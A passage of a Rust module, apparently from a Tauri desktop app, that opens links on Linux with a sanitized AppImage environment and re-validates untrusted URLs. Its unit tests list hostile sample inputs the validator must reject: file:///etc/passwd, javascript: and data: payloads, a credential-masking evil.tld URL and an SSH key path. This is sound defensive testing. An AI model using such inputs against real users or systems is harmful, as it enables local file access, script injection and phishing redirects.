//! comment there has flagged this leak for a while: it reaches whatever the
|
||||
//! app spawns afterwards.
|
||||
//!
|
||||
//! A browser that is *already running* is unaffected — `xdg-open` just hands
|
||||
//! the URL to the existing instance over D-Bus/IPC and the new process exits.
|
||||
//! A **cold-launched** browser loads our bundled GTK/glib/pixbuf stack against
|
||||
//! the host's, aborts before it ever paints, and `xdg-open` has already
|
||||
//! returned 0. From the app's point of view the click did nothing. That is the
|
||||
//! reported symptom, and it is why the bug only reproduces for some people.
|
||||
//!
|
||||
//! # What this does instead
|
||||
//!
|
||||
//! `open_url_external` re-validates the URL (see below) and spawns the opener
|
||||
//! with a **sanitized child environment**. Sanitizing is
|
||||
//! [`sanitize_child_env`], a pure function over two maps so it can be tested
|
||||
//! without touching process-wide state:
|
||||
//!
|
||||
//! 1. If the AppImage saved the pre-launch value under a `*_ORIG` /
|
||||
//! `APPIMAGE_ORIGINAL_*` name, restore that. Restoring a saved original is
|
||||
//! strictly better than unsetting, because the user may genuinely have had
|
||||
//! an `LD_LIBRARY_PATH` of their own.
|
||||
//! 2. Otherwise, if the variable differs from the value this process started
|
||||
//! with, restore the start-up value. That is what undoes *our own*
|
||||
//! `std::env::set_var` — `main.rs` snapshots the environment via
|
||||
//! [`capture_pristine_environment`] before any mutation runs.
|
||||
//! 3. Otherwise, drop only the entries that point inside `$APPDIR`, keeping
|
||||
//! the rest of the list intact. Blanket-unsetting would also discard
|
||||
//! whatever the user's session had set; this removes exactly the
|
||||
//! bundle's own contribution.
|
||||
//!
|
||||
//! Nothing is invented: a variable the pristine environment did not have and
|
||||
//! that does not point into `$APPDIR` is left alone, so outside an AppImage
|
||||
//! (`cargo tauri dev`, a distro build) this is very close to a no-op.
|
||||
//!
|
||||
//! # Portal vs. `xdg-open`
|
||||
//!
|
||||
//! `org.freedesktop.portal.OpenURI` would sidestep both the environment leak
|
||||
//! *and* a missing `x-scheme-handler/https` association, but reaching it means
|
||||
//! a D-Bus client — `zbus` and its async stack — as a new dependency for one
|
||||
//! call, on the only platform where we ship a single self-contained binary.
|
||||
//! It also only helps where a portal is running, which is precisely the
|
||||
//! desktop-environment case in which `xdg-open` already works once the
|
||||
//! environment is clean. The environment *is* the bug here, so the cheap fix
|
||||
//! is the complete one. `gio open` is kept as a second candidate because it
|
||||
//! goes through GIO's own handler lookup rather than `xdg-open`'s shell
|
||||
//! heuristics, which covers most of what the portal would have covered.
|
||||
//!
|
||||
//! # Security
|
||||
//!
|
||||
//! The URL reaching this command originates in an **untrusted container** (see
|
||||
//! `app/src/lib/urlRelay.ts`). The frontend validates with `sanitizeRelayUrl`,
|
||||
//! but a compromised webview can call this command directly, so the rules are
|
||||
//! mirrored here and enforced again: `http`/`https` only, a non-empty host, no
|
||||
//! embedded credentials, no control characters or whitespace, and a length
|
||||
//! cap. The URL is never passed through a shell — `std::process::Command` with
|
||||
//! explicit arguments, so there is no word-splitting, no globbing and no
|
||||
//! metacharacter to escape.
|
||||
|
||||
use std::collections::BTreeMap;
|
||||
use std::sync::OnceLock;
|
||||
|
||||
use url::Url;
|
||||
|
||||
/// Hard cap on a URL we will hand to the OS. Mirrors `MAX_RELAY_URL_LENGTH`
|
||||
/// in `app/src/lib/urlRelay.ts`.
|
||||
const MAX_URL_LEN: usize = 8192;
|
||||
|
||||
/// The environment this process was started with, captured before anything
|
||||
/// mutates it. See [`capture_pristine_environment`].
|
||||
// Only the Linux spawn path reads these; the macOS/Windows path delegates to
|
||||
// the opener plugin. Kept unconditional (rather than `#[cfg(linux)]`) so the
|
||||
// tests and the documentation stay in one piece on every platform.
|
||||
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
|
||||
static PRISTINE_ENV: OnceLock<BTreeMap<String, String>> = OnceLock::new();
|
||||
|
||||
/// Record the environment as it was at process start.
|
||||
///
|
||||
/// Must be called from `main()` **before** any `std::env::set_var` — today
|
||||
/// that means before `apply_webkit_wayland_workaround()`, which is the only
|
||||
/// mutation in the tree. Calling it twice is harmless; the first call wins.
|
||||
///
|
||||
/// This is the only reliable source of truth for "what did the user actually
|
||||
/// have?" for variables *we* set. It cannot recover what `AppRun` overwrote
|
||||
/// before `main()` ran — that is what the `*_ORIG` and `$APPDIR` rules in
|
||||
/// [`sanitize_child_env`] are for.
|
||||
pub fn capture_pristine_environment() {
|
||||
let _ = PRISTINE_ENV.set(std::env::vars().collect());
|
||||
}
|
||||
|
||||
/// Variables an AppImage launcher is known to override, and that break a
|
||||
/// cold-launched child that is not this app.
|
||||
///
|
||||
/// `PATH` is in the list for the same reason as the rest: `AppRun` prepends
|
||||
/// `$APPDIR/usr/bin`, and resolving `xdg-open` (or anything the browser's own
|
||||
/// wrapper script calls) out of the bundle is its own failure mode.
|
||||
// Only the Linux spawn path reads these; the macOS/Windows path delegates to
|
||||
// the opener plugin. Kept unconditional (rather than `#[cfg(linux)]`) so the
|
||||
// tests and the documentation stay in one piece on every platform.
|
||||
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
|
||||
const SANITIZED_VARS: &[&str] = &[
|
||||
"GDK_PIXBUF_MODULEDIR",
|
||||
"GDK_PIXBUF_MODULE_FILE",
|
||||
"GIO_MODULE_DIR",
|
||||
"GSETTINGS_SCHEMA_DIR",
|
||||
"GTK_DATA_PREFIX",
|
||||
"GTK_EXE_PREFIX",
|
||||
"GTK_IM_MODULE_FILE",
|
||||
"GTK_PATH",
|
||||
"LD_LIBRARY_PATH",
|
||||
"PATH",
|
||||
"PERLLIB",
|
||||
"PYTHONPATH",
|
||||
"QT_PLUGIN_PATH",
|
||||
"XDG_DATA_DIRS",
|
||||
// Set by `main.rs`, not by AppRun — rule 2 (the pristine snapshot) is what
|
||||
// removes it, since the pristine environment almost never has it.
|
||||
"WEBKIT_DISABLE_DMABUF_RENDERER",
|
||||
];
|
||||
|
||||
/// What to do to one variable in the child: `Some(value)` sets it, `None`
|
||||
/// removes it.
|
||||
// Only the Linux spawn path reads these; the macOS/Windows path delegates to
|
||||
// the opener plugin. Kept unconditional (rather than `#[cfg(linux)]`) so the
|
||||
// tests and the documentation stay in one piece on every platform.
|
||||
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
|
||||
type EnvChange = (String, Option<String>);
|
||||
|
||||
/// True when `entry` is `appdir` itself or a path inside it.
|
||||
// Only the Linux spawn path reads these; the macOS/Windows path delegates to
|
||||
// the opener plugin. Kept unconditional (rather than `#[cfg(linux)]`) so the
|
||||
// tests and the documentation stay in one piece on every platform.
|
||||
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
|
||||
fn is_inside(entry: &str, appdir: &str) -> bool {
|
||||
let appdir = appdir.trim_end_matches('/');
|
||||
if appdir.is_empty() {
|
||||
return false;
|
||||
}
|
||||
entry == appdir || entry.strip_prefix(appdir).is_some_and(|r| r.starts_with('/'))
|
||||
}
|
||||
|
||||
/// Drop the `$APPDIR` entries from a colon-separated list, keeping order and
|
||||
/// keeping everything else.
|
||||
///
|
||||
/// Single-valued variables (`GDK_PIXBUF_MODULE_FILE`, say) are just lists of
|
||||
/// one, so they need no separate case: a value inside `$APPDIR` filters down
|
||||
/// to nothing and the variable is removed.
|
||||
// Only the Linux spawn path reads these; the macOS/Windows path delegates to
|
||||
// the opener plugin. Kept unconditional (rather than `#[cfg(linux)]`) so the
|
||||
// tests and the documentation stay in one piece on every platform.
|
||||
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
|
||||
fn strip_appdir_entries(value: &str, appdir: &str) -> Option<String> {
|
||||
let kept: Vec<&str> = value
|
||||
.split(':')
|
||||
.filter(|entry| !entry.is_empty() && !is_inside(entry, appdir))
|
||||
.collect();
|
||||
if kept.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(kept.join(":"))
|
||||
}
|
||||
}
|
||||
|
||||
/// Compute the changes that turn `current` into an environment safe to hand a
|
||||
/// cold-launched host program.
|
||||
///
|
||||
/// Pure on purpose — `current` and `pristine` are passed in rather than read
|
||||
/// from the process, so the rules can be tested without a global mutex around
|
||||
/// the environment. Returns changes sorted by variable name so assertions are
|
||||
/// deterministic.
|
||||
// Only the Linux spawn path reads these; the macOS/Windows path delegates to
|
||||
// the opener plugin. Kept unconditional (rather than `#[cfg(linux)]`) so the
|
||||
// tests and the documentation stay in one piece on every platform.
|
||||
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
|
||||
fn sanitize_child_env(
|
||||
current: &BTreeMap<String, String>,
|
||||
pristine: &BTreeMap<String, String>,
|
||||
appdir: Option<&str>,
|
||||
) -> Vec<EnvChange> {
|
||||
let mut changes: Vec<EnvChange> = Vec::new();
|
||||
|
||||
for var in SANITIZED_VARS {
|
||||
let now = current.get(*var);
|
||||
|
||||
// 1. A saved original always wins. Both spellings are checked because
|
||||
// which one exists depends on the launcher: linuxdeploy's AppRun
|
||||
// and the various `AppRun.wrapped` generations have used each.
|
||||
// An empty saved value means "it was unset", not "set it to empty".
|
||||
let saved = current
|
||||
.get(&format!("{var}_ORIG"))
|
||||
.or_else(|| current.get(&format!("APPIMAGE_ORIGINAL_{var}")));
|
||||
if let Some(saved) = saved {
|
||||
let restored = if saved.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(saved.clone())
|
||||
};
|
||||
if restored.as_ref() != now {
|
||||
changes.push((var.to_string(), restored));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// 2. We changed it ourselves after start-up — put back what was there.
|
||||
let at_start = pristine.get(*var);
|
||||
if at_start != now {
|
||||
changes.push((var.to_string(), at_start.cloned()));
|
||||
continue;
|
||||
}
|
||||
|
||||
// 3. Polluted before `main()` ran, with nothing saved. Remove the
|
||||
// bundle's own entries and keep the user's.
|
||||
let (Some(now), Some(appdir)) = (now, appdir) else {
|
||||
continue;
|
||||
};
|
||||
let stripped = strip_appdir_entries(now, appdir);
|
||||
if stripped.as_deref() != Some(now.as_str()) {
|
||||
changes.push((var.to_string(), stripped));
|
||||
}
|
||||
}
|
||||
|
||||
changes.sort_by(|a, b| a.0.cmp(&b.0));
|
||||
changes
|
||||
}
|
||||
|
||||
/// Whether `candidate` holds a character that disqualifies it before parsing.
|
||||
///
|
||||
/// Mirrors `hasForbiddenChar` in `app/src/lib/urlRelay.ts`, and for the same
|
||||
/// reasons: C0/C1 controls and whitespace are invisible in the UI and are
|
||||
/// stripped rather than rejected by some URL parsers, and quote characters are
|
||||
/// illegal in a URL per RFC 3986 while being exactly what an argument-splitting
|
||||
/// opener downstream would act on. Written as a scan over code points rather
|
||||
/// than a regex so the control ranges cannot be mangled by an editing tool.
|
||||
fn has_forbidden_char(candidate: &str) -> bool {
|
||||
candidate.chars().any(|ch| {
|
||||
let code = ch as u32;
|
||||
code <= 0x20
|
||||
|| code == 0x7f
|
||||
|| (0x80..=0x9f).contains(&code)
|
||||
|| ch == '"'
|
||||
|| ch == '\''
|
||||
|| ch == '`'
|
||||
|| ch.is_whitespace()
|
||||
})
|
||||
}
|
||||
|
||||
/// Validate a URL an untrusted source asked the host to open.
|
||||
///
|
||||
/// Returns the normalized URL, or a message safe to show the user. The message
|
||||
/// never echoes the input: it is the input that is untrusted, and this error
|
||||
/// is rendered in a toast.
|
||||
fn validate_external_url(raw: &str) -> Result<String, String> {
|
||||
// Rust's `trim` strips slightly more than JavaScript's (NEL, U+0085, for
|
||||
// one), so a string the frontend would have rejected can reach the parser
|
||||
// here with its edges shaved. That only ever removes outer whitespace —
|
||||
// everything that survives still has to pass every check below — so the
|
||||
// divergence cannot widen what gets opened.
|
||||
let candidate = raw.trim();
|
||||
|
||||
if candidate.is_empty() {
|
||||
return Err("Refused to open an empty URL.".to_string());
|
||||
}
|
||||
if candidate.len() > MAX_URL_LEN {
|
||||
return Err(format!(
|
||||
"Refused to open a URL longer than {MAX_URL_LEN} characters."
|
||||
));
|
||||
}
|
||||
if has_forbidden_char(candidate) {
|
||||
return Err(
|
||||
"Refused to open a URL containing whitespace, quotes or control characters."
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
let parsed = Url::parse(candidate).map_err(|_| "Refused to open a malformed URL.".to_string())?;
|
||||
|
||||
// Scheme allowlist. Nothing else, ever — `file:`, `javascript:`, `data:`
|
||||
// and every registered protocol handler stay out of reach of the
|
||||
// container. The scheme is safe to interpolate: the parser restricts it to
|
||||
// ASCII alphanumerics, `+`, `-` and `.`.
|
||||
if parsed.scheme() != "http" && parsed.scheme() != "https" {
|
||||
return Err(format!(
|
||||
"Refused to open a {}: URL — only http and https are allowed.",
|
||||
parsed.scheme()
|
||||
));
|
||||
}
|
||||
if parsed.host_str().is_none_or(str::is_empty) {
|
||||
return Err("Refused to open a URL with no host.".to_string());
|
||||
}
|
||||
// `https://claude.ai@evil.tld/x` reads as claude.ai anywhere the string is
|
||||
// truncated, and navigates to evil.tld.
|
||||
if !parsed.username().is_empty() || parsed.password().is_some() {
|
||||
return Err("Refused to open a URL containing embedded credentials.".to_string());
|
||||
}
|
||||
|
||||
let normalized = parsed.to_string();
|
||||
if normalized.len() > MAX_URL_LEN {
|
||||
return Err(format!(
|
||||
"Refused to open a URL longer than {MAX_URL_LEN} characters."
|
||||
));
|
||||
}
|
||||
// A normalized http(s) URL is ASCII by construction — the host is
|
||||
// punycoded and everything after it is percent-encoded. Asserting it means
|
||||
// nothing non-ASCII can reach an `execvp` argument, whatever the parser
|
||||
// decides to do in a future version.
|
||||
if !normalized.is_ascii() {
|
||||
return Err("Refused to open a URL with non-ASCII characters.".to_string());
|
||||
}
|
||||
|
||||
Ok(normalized)
|
||||
}
|
||||
|
||||
/// Openers to try, in order, each as (program, leading arguments).
|
||||
///
|
||||
/// `xdg-open` first because it is what the desktop expects to be asked and
|
||||
/// honours the user's `mimeapps.list`. `gio open` second: it is present
|
||||
/// wherever glib is (which, for a GTK app's host, is everywhere) and resolves
|
||||
/// the handler through GIO rather than `xdg-open`'s shell heuristics, so it
|
||||
/// still works when the `x-scheme-handler/https` association `xdg-open` looks
|
||||
/// for is missing or points at something broken.
|
||||
#[cfg(target_os = "linux")]
|
||||
const OPENERS: &[(&str, &[&str])] = &[("xdg-open", &[]), ("gio", &["open"])];
|
||||
|
||||
/// How long a candidate opener is given to fail before it is assumed to have
|
||||
/// worked.
|
||||
///
|
||||
/// `xdg-open` usually returns immediately (it hands the URL to a running
|
||||
/// browser and exits), but in its generic fallback mode it *is* the browser's
|
||||
/// parent and stays alive for the session. So "still running" cannot be read
|
||||
/// as failure, and "exited non-zero quickly" is the only negative signal there
|
||||
/// is — though not, on its own, a trustworthy one. See
|
||||
/// [`exit_code_means_nothing_was_launched`].
|
||||
#[cfg(target_os = "linux")]
|
||||
const OPENER_GRACE: std::time::Duration = std::time::Duration::from_millis(400);
|
||||
|
||||
/// Whether a non-zero exit says the opener certainly launched nothing, and so
|
||||
/// that the next candidate can be tried without risking a second tab.
|
||||
///
|
||||
/// The loop used to treat every quick non-zero exit as "it did nothing" and
|
||||
/// fall through. That is safe for most of `xdg-open`'s documented codes — 1
|
||||
/// (syntax), 2 (file not found) and 3 (a required tool could not be found) are
|
||||
/// all statements that it never got as far as launching a handler, and 3 is the
|
||||
/// missing-association case `gio open` is in [`OPENERS`] for. 127 is the same
|
||||
/// statement made by a shell, which is how a `$BROWSER` or `x-www-browser`
|
||||
/// wrapper naming a program that does not exist comes back.
|
||||
///
|
||||
/// Code 4 is the one that cannot be read that way, and it is the catch-all:
|
||||
/// "the action failed" also covers a handler that *was* launched and then
|
||||
/// returned non-zero. A browser that takes the URL, opens the tab in an already
|
||||
/// running instance and exits non-zero for its own reasons ends up here, as
|
||||
/// does a wrapper script that does its job and then returns the exit status of
|
||||
/// something else. Falling through on that hands the same URL to a second
|
||||
/// opener: two tabs for one click, and for an OAuth link two authorize
|
||||
/// requests.
|
||||
///
|
||||
/// So anything not recognised below — 4, an unfamiliar code, or a death by
|
||||
/// signal (`code()` is `None`) — ends the loop rather than continuing it. The
|
||||
/// caller is told the opener failed, which is the honest report of an
|
||||
/// ambiguous outcome, and no second request is made on the user's behalf. Note
|
||||
/// what this costs: an opener that genuinely failed with code 4 no longer falls
|
||||
/// through to `gio`, so a user whose `xdg-open` fails that way sees an error
|
||||
/// where they previously might have got a tab.
|
||||
///
|
||||
/// This is reasoning from `xdg-open`'s documented exit codes, not from an
|
||||
/// observed double-open in this app.
|
||||
#[cfg(target_os = "linux")]
|
||||
fn exit_code_means_nothing_was_launched(code: Option<i32>) -> bool {
|
||||
matches!(code, Some(1 | 2 | 3 | 127))
|
||||
}
|
||||
|
||||
/// Spawn `url` with an opener, under a sanitized environment.
|
||||
#[cfg(target_os = "linux")]
|
||||
fn spawn_with_clean_env(url: &str) -> Result<(), String> {
|
||||
let current: BTreeMap<String, String> = std::env::vars().collect();
|
||||
let pristine = PRISTINE_ENV.get().cloned().unwrap_or_else(|| current.clone());
|
||||
let appdir = current.get("APPDIR").cloned();
|
||||
let changes = sanitize_child_env(¤t, &pristine, appdir.as_deref());
|
||||
|
||||
let mut failures: Vec<String> = Vec::new();
|
||||
|
||||
for (program, leading) in OPENERS {
|
||||
let mut command = std::process::Command::new(program);
|
||||
command.args(*leading).arg(url);
|
||||
// The bundle's own identity is not the child's business either, and a
|
||||
// browser that re-execs itself through a wrapper script can pick these
|
||||
// up.
|
||||
for var in ["APPDIR", "APPIMAGE", "ARGV0", "OWD"] {
|
||||
command.env_remove(var);
|
||||
}
|
||||
for (key, value) in &changes {
|
||||
match value {
|
||||
Some(value) => command.env(key, value),
|
||||
None => command.env_remove(key),
|
||||
};
|
||||
}
|
||||
// Detached: the opener must not inherit our stdio, or a browser
|
||||
// writing to stderr keeps a pipe to us open for the session.
|
||||
command
|
||||
.stdin(std::process::Stdio::null())
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null());
|
||||
|
||||
// A spawn failure — `ErrorKind::NotFound` for an opener that is not
|
||||
// installed, `PermissionDenied` for one that cannot be executed — is
|
||||
// the unambiguous case: nothing ran, so nothing was opened, and the
|
||||
// next candidate is free to try.
|
||||
let mut child = match command.spawn() {
|
||||
Ok(child) => child,
|
||||
Err(err) => {
|
||||
failures.push(format!("{program}: {err}"));
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
std::thread::sleep(OPENER_GRACE);
|
||||
match child.try_wait() {
|
||||
Ok(Some(status)) if !status.success() => {
|
||||
failures.push(format!("{program} exited with {status}"));
|
||||
// A program that *ran* is not a program that did nothing.
|
||||
if !exit_code_means_nothing_was_launched(status.code()) {
|
||||
return Err(format!(
|
||||
"Could not confirm the link opened. Tried: {}. It may have opened anyway \
|
||||
— check your browser before trying again.",
|
||||
failures.join("; ")
|
||||
));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
Ok(_) => {}
|
||||
Err(err) => {
|
||||
failures.push(format!("{program}: could not be waited on: {err}"));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Still running (it is the browser's parent) — reap it off-thread so it
|
||||
// does not become a zombie for the life of the app.
|
||||
std::thread::spawn(move || {
|
||||
let _ = child.wait();
|
||||
});
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
Err(format!(
|
||||
"Could not open the link. Tried: {}. Check that xdg-utils is installed and that a default browser is set.",
|
||||
failures.join("; ")
|
||||
))
|
||||
}
|
||||
|
||||
/// Open `url` in the user's browser.
|
||||
///
|
||||
/// On Linux this goes through [`spawn_with_clean_env`] rather than
|
||||
/// `@tauri-apps/plugin-opener`, for the AppImage reasons in this module's
|
||||
/// documentation (triple-c#34). macOS and Windows keep the plugin's path —
|
||||
/// neither has the environment problem, and `open`/`ShellExecute` are the
|
||||
/// right calls there — but they are reached through this same command so the
|
||||
/// frontend has one call site with one set of validation rules.
|
||||
///
|
||||
/// Errors are returned rather than logged-and-swallowed: "Open" silently doing
|
||||
/// nothing is the bug being fixed, so the failure has to be something the UI
|
||||
/// can show.
|
||||
#[tauri::command]
|
||||
pub async fn open_url_external(app: tauri::AppHandle, url: String) -> Result<(), String> {
|
||||
let validated = validate_external_url(&url)?;
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
let _ = &app;
|
||||
tauri::async_runtime::spawn_blocking(move || spawn_with_clean_env(&validated))
|
||||
.await
|
||||
.map_err(|err| format!("Could not open the link: {err}"))?
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
{
|
||||
use tauri_plugin_opener::OpenerExt;
|
||||
app.opener()
|
||||
.open_url(validated, None::<&str>)
|
||||
.map_err(|err| format!("Could not open the link: {err}"))
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn map(pairs: &[(&str, &str)]) -> BTreeMap<String, String> {
|
||||
pairs
|
||||
.iter()
|
||||
.map(|(k, v)| (k.to_string(), v.to_string()))
|
||||
.collect()
|
||||
}
|
||||
|
||||
// ── URL re-validation ────────────────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn plain_http_and_https_urls_are_accepted() {
|
||||
for url in [
|
||||
"https://claude.ai/",
|
||||
"http://localhost:1420/callback?code=abc",
|
||||
"https://example.com/path#frag",
|
||||
] {
|
||||
assert!(validate_external_url(url).is_ok(), "{url} should be allowed");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn urls_are_returned_normalized() {
|
||||
assert_eq!(
|
||||
validate_external_url("https://Example.COM").unwrap(),
|
||||
"https://example.com/"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn only_http_and_https_survive() {
|
||||
for url in [
|
||||
"file:///etc/passwd",
|
||||
"javascript:alert(1)",
|
||||
"data:text/html,<script>",
|
||||
"ftp://example.com/x",
|
||||
"vscode://foo/bar",
|
||||
"mailto:someone@example.com",
|
||||
] {
|
||||
assert!(
|
||||
validate_external_url(url).is_err(),
|
||||
"{url} must not be openable"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn embedded_credentials_are_refused() {
|
||||
for url in [
|
||||
"https://claude.ai@evil.tld/x",
|
||||
"https://user:pass@example.com/",
|
||||
"https://:pass@example.com/",
|
||||
] {
|
||||
assert!(
|
||||
validate_external_url(url).is_err(),
|
||||
"{url} must not be openable"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn control_characters_and_whitespace_are_refused() {
|
||||
// `\n` in particular: parsers that strip it would turn the first of
|
||||
// these into a `javascript:` URL.
|
||||
for url in [
|
||||
"java\nscript:alert(1)",
|
||||
"https://example.com/\u{7f}",
|
||||
"https://example.com/\u{85}x",
|
||||
"https://example.com/a b",
|
||||
"https://example.com/\u{00a0}x",
|
||||
"https://example.com/\"",
|
||||
"https://example.com/'",
|
||||
"https://example.com/`",
|
||||
] {
|
||||
assert!(
|
||||
validate_external_url(url).is_err(),
|
||||
"{url:?} must not be openable"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn empty_and_oversized_are_refused() {
|
||||
assert!(validate_external_url("").is_err());
|
||||
assert!(validate_external_url(" ").is_err());
|
||||
let long = format!("https://example.com/{}", "a".repeat(MAX_URL_LEN));
|
||||
assert!(validate_external_url(&long).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_host_is_required() {
|
||||
assert!(validate_external_url("https://").is_err());
|
||||
assert!(validate_external_url("http://:8080/").is_err());
|
||||
// Not a missing host: WHATWG's "special authority ignore slashes"
|
||||
// state eats the third slash, so this is the host `path` in both
|
||||
// `new URL()` and here. Asserted so the parity is on the record.
|
||||
assert_eq!(
|
||||
validate_external_url("http:///path").unwrap(),
|
||||
"http://path/"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn error_messages_never_echo_the_input() {
|
||||
// The input is attacker-controlled and the message goes into a toast.
|
||||
let err = validate_external_url("file:///home/someone/.ssh/id_rsa").unwrap_err();
|
||||
assert!(!err.contains("id_rsa"), "message leaked the input: {err}");
|
||||
}
|
||||
|
||||
// ── Environment sanitization ─────────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn appdir_entries_are_stripped_and_the_users_own_are_kept() {
|
||||
let current = map(&[
|
||||
("APPDIR", "/tmp/.mount_abc"),
|
||||
("LD_LIBRARY_PATH", "/tmp/.mount_abc/usr/lib:/opt/mine/lib"),
|
||||
("XDG_DATA_DIRS", "/tmp/.mount_abc/usr/share:/usr/share"),
|
||||
]);
|
||||
let changes = sanitize_child_env(¤t, ¤t, Some("/tmp/.mount_abc"));
|
||||
assert_eq!(
|
||||
changes,
|
||||
vec![
|
||||
(
|
||||
"LD_LIBRARY_PATH".to_string(),
|
||||
Some("/opt/mine/lib".to_string())
|
||||
),
|
||||
("XDG_DATA_DIRS".to_string(), Some("/usr/share".to_string())),
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_variable_that_is_entirely_appdir_is_removed() {
|
||||
let current = map(&[
|
||||
("APPDIR", "/tmp/.mount_abc"),
|
||||
("GTK_PATH", "/tmp/.mount_abc/usr/lib/gtk-3.0"),
|
||||
(
|
||||
"GDK_PIXBUF_MODULE_FILE",
|
||||
"/tmp/.mount_abc/usr/lib/gdk-pixbuf/loaders.cache",
|
||||
),
|
||||
]);
|
||||
let changes = sanitize_child_env(¤t, ¤t, Some("/tmp/.mount_abc"));
|
||||
assert_eq!(
|
||||
changes,
|
||||
vec![
|
||||
("GDK_PIXBUF_MODULE_FILE".to_string(), None),
|
||||
("GTK_PATH".to_string(), None),
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_saved_original_is_restored_rather_than_unset() {
|
||||
// Restoring beats unsetting: the user may have had one of their own.
|
||||
for saved_as in ["LD_LIBRARY_PATH_ORIG", "APPIMAGE_ORIGINAL_LD_LIBRARY_PATH"] {
|
||||
let current = map(&[
|
||||
("APPDIR", "/tmp/.mount_abc"),
|
||||
("LD_LIBRARY_PATH", "/tmp/.mount_abc/usr/lib"),
|
||||
(saved_as, "/home/someone/lib"),
|
||||
]);
|
||||
let changes = sanitize_child_env(¤t, ¤t, Some("/tmp/.mount_abc"));
|
||||
assert_eq!(
|
||||
changes,
|
||||
vec![(
|
||||
"LD_LIBRARY_PATH".to_string(),
|
||||
Some("/home/someone/lib".to_string())
|
||||
)],
|
||||
"{saved_as} should be restored"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_empty_saved_original_means_it_was_unset() {
|
||||
let current = map(&[
|
||||
("APPDIR", "/tmp/.mount_abc"),
|
||||
("LD_LIBRARY_PATH", "/tmp/.mount_abc/usr/lib"),
|
||||
("LD_LIBRARY_PATH_ORIG", ""),
|
||||
]);
|
||||
let changes = sanitize_child_env(¤t, ¤t, Some("/tmp/.mount_abc"));
|
||||
assert_eq!(changes, vec![("LD_LIBRARY_PATH".to_string(), None)]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn our_own_set_var_is_undone_from_the_pristine_snapshot() {
|
||||
// The leak `main.rs` documents: we set this after start-up, so the
|
||||
// start-up snapshot is what says it should not exist at all.
|
||||
let pristine = map(&[("HOME", "/home/someone")]);
|
||||
let current = map(&[
|
||||
("HOME", "/home/someone"),
|
||||
("WEBKIT_DISABLE_DMABUF_RENDERER", "1"),
|
||||
]);
|
||||
let changes = sanitize_child_env(¤t, &pristine, None);
|
||||
assert_eq!(
|
||||
changes,
|
||||
vec![("WEBKIT_DISABLE_DMABUF_RENDERER".to_string(), None)]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_value_the_user_set_themselves_is_left_alone() {
|
||||
let pristine = map(&[("WEBKIT_DISABLE_DMABUF_RENDERER", "1")]);
|
||||
let current = pristine.clone();
|
||||
assert!(sanitize_child_env(¤t, &pristine, None).is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn outside_an_appimage_nothing_is_touched() {
|
||||
let env = map(&[
|
||||
("PATH", "/usr/bin:/bin"),
|
||||
("LD_LIBRARY_PATH", "/opt/mine/lib"),
|
||||
("XDG_DATA_DIRS", "/usr/share"),
|
||||
]);
|
||||
assert!(
|
||||
sanitize_child_env(&env, &env, None).is_empty(),
|
||||
"a dev build or distro build must not have its environment rewritten"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nothing_is_invented_for_variables_that_were_never_set() {
|
||||
let env = map(&[("APPDIR", "/tmp/.mount_abc")]);
|
||||
assert!(sanitize_child_env(&env, &env, Some("/tmp/.mount_abc")).is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_prefix_that_merely_looks_like_appdir_is_not_stripped() {
|
||||
// `/tmp/.mount_abc-other` is not inside `/tmp/.mount_abc`.
|
||||
let env = map(&[
|
||||
("APPDIR", "/tmp/.mount_abc"),
|
||||
("LD_LIBRARY_PATH", "/tmp/.mount_abc-other/lib"),
|
||||
]);
|
||||
assert!(sanitize_child_env(&env, &env, Some("/tmp/.mount_abc")).is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_trailing_slash_on_appdir_still_matches() {
|
||||
let env = map(&[
|
||||
("APPDIR", "/tmp/.mount_abc/"),
|
||||
("GTK_PATH", "/tmp/.mount_abc/usr/lib/gtk-3.0"),
|
||||
]);
|
||||
let changes = sanitize_child_env(&env, &env, Some("/tmp/.mount_abc/"));
|
||||
assert_eq!(changes, vec![("GTK_PATH".to_string(), None)]);
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(all(test, target_os = "linux"))]
|
||||
mod opener_fallback_tests {
|
||||
use super::*;
|
||||
|
||||
/// The codes `xdg-open` documents as "nothing was launched". Falling
|
||||
/// through to the next opener on these is what keeps `gio open` reachable
|
||||
